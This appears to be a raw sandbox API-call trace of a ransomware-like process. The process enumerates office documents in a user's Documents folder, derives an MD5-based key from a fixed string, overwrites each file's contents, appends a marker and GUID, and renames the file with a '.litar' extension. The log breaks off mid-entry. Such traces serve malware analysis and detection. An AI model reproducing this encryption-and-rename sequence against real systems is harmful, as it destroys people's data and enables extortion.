1 [0125.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.339] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.339] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GfPtWvk5Lmj.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gfptwvk5lmj.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GfPtWvk5Lmj.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gfptwvk5lmj.xlsx.litar")) returned 1 [0125.339] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.339] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.340] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dcb2890, ftCreationTime.dwHighDateTime=0x1d4c18e, ftLastAccessTime.dwLowDateTime=0x4a643590, ftLastAccessTime.dwHighDateTime=0x1d4a90c, ftLastWriteTime.dwLowDateTime=0x4a643590, ftLastWriteTime.dwHighDateTime=0x1d4a90c, nFileSizeHigh=0x0, nFileSizeLow=0x1742d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRA80ibP5ZcjgL2YpVJ.docx", cAlternateFileName="GRA80I~1.DOC")) returned 1 [0125.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.340] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2ffb060 [0125.341] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.341] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GRA80ibP5ZcjgL2YpVJ.docx") returned=".docx" [0125.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GRA80ibP5ZcjgL2YpVJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gra80ibp5zcjgl2ypvj.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.341] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=95277) returned 1 [0125.341] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.343] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x17407, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.343] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.344] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.344] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.344] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1742d, lpOverlapped=0x0) returned 1 [0125.345] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.345] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.345] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.345] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.345] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.346] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.346] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.346] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.346] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.346] GetLastError () returned 0x0 [0125.346] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.346] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.346] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.346] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x17430) returned 0x30fa0b0 [0125.347] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.347] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x17428, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x17428, lpOverlapped=0x0) returned 1 [0125.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.347] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1742d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.347] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.347] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.347] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.347] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.347] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.348] CloseHandle (hObject=0x624) returned 1 [0125.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x2f96f08 [0125.349] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f96f08 | out: hHeap=0x5c0000) returned 1 [0125.349] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GRA80ibP5ZcjgL2YpVJ.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gra80ibp5zcjgl2ypvj.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\GRA80ibP5ZcjgL2YpVJ.docx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gra80ibp5zcjgl2ypvj.docx.litar")) returned 1 [0125.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.349] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.350] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc5530e0, ftCreationTime.dwHighDateTime=0x1d502e3, ftLastAccessTime.dwLowDateTime=0x3cb57920, ftLastAccessTime.dwHighDateTime=0x1d51c13, ftLastWriteTime.dwLowDateTime=0x3cb57920, ftLastWriteTime.dwHighDateTime=0x1d51c13, nFileSizeHigh=0x0, nFileSizeLow=0x1516c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="kpj8t.pptx", cAlternateFileName="KPJ8T~1.PPT")) returned 1 [0125.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.350] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.350] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.350] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kpj8t.pptx") returned=".pptx" [0125.350] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kpj8t.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kpj8t.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.351] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=86380) returned 1 [0125.351] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.352] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x15146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.353] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.354] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.354] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.354] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.354] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x1516c, lpOverlapped=0x0) returned 1 [0125.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.355] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.355] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.355] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.356] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.356] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.356] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.356] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.356] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.356] GetLastError () returned 0x0 [0125.356] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.356] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.356] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.356] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15170) returned 0x30fa0b0 [0125.357] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.357] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x15167, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x15167, lpOverlapped=0x0) returned 1 [0125.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.357] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x1516c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.357] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.357] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.357] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.358] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.358] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.358] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.358] CloseHandle (hObject=0x624) returned 1 [0125.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.359] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.359] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.360] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kpj8t.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kpj8t.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\kpj8t.pptx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kpj8t.pptx.litar")) returned 1 [0125.360] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.360] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.361] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.361] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5afc8ed0, ftCreationTime.dwHighDateTime=0x1d4aa00, ftLastAccessTime.dwLowDateTime=0x5ecf6510, ftLastAccessTime.dwHighDateTime=0x1d4d4bb, ftLastWriteTime.dwLowDateTime=0x5ecf6510, ftLastWriteTime.dwHighDateTime=0x1d4d4bb, nFileSizeHigh=0x0, nFileSizeLow=0x16b56, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="KsTqGqqzg.xlsx", cAlternateFileName="KSTQGQ~1.XLS")) returned 1 [0125.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.361] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8e) returned 0x2ffb060 [0125.361] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.361] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KsTqGqqzg.xlsx") returned=".xlsx" [0125.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KsTqGqqzg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kstqgqqzg.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.365] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=93014) returned 1 [0125.365] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.366] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16b30, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.366] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.368] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.368] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.368] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.368] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x16b56, lpOverlapped=0x0) returned 1 [0125.369] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.369] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.369] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.369] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.369] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.370] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.370] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.370] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.370] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.370] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.370] GetLastError () returned 0x0 [0125.370] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.370] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.370] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.370] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16b60) returned 0x30fa0b0 [0125.370] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.370] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.370] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x16b51, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x16b51, lpOverlapped=0x0) returned 1 [0125.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.371] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16b56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.371] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.371] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.371] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8eef8 | out: hHeap=0x5c0000) returned 1 [0125.371] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.371] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.371] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.371] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.371] CloseHandle (hObject=0x624) returned 1 [0125.372] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.372] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.372] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KsTqGqqzg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kstqgqqzg.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\KsTqGqqzg.xlsx.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\kstqgqqzg.xlsx.litar")) returned 1 [0125.373] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.373] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.374] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2ffb060 | out: hHeap=0x5c0000) returned 1 [0125.374] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfc) returned 0x3098bf8 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8eef8 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.374] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 